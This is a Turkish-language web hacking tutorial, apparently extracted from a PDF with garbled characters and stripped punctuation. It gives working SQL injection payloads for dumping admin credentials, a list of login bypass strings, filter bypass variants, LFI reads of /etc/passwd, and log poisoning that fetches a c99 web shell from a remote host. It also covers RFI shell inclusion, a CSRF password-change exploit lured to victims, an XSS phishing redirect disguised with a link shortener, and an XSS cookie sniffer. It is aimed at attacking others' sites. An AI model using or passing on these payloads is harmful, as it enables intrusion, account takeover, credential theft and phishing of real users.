Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
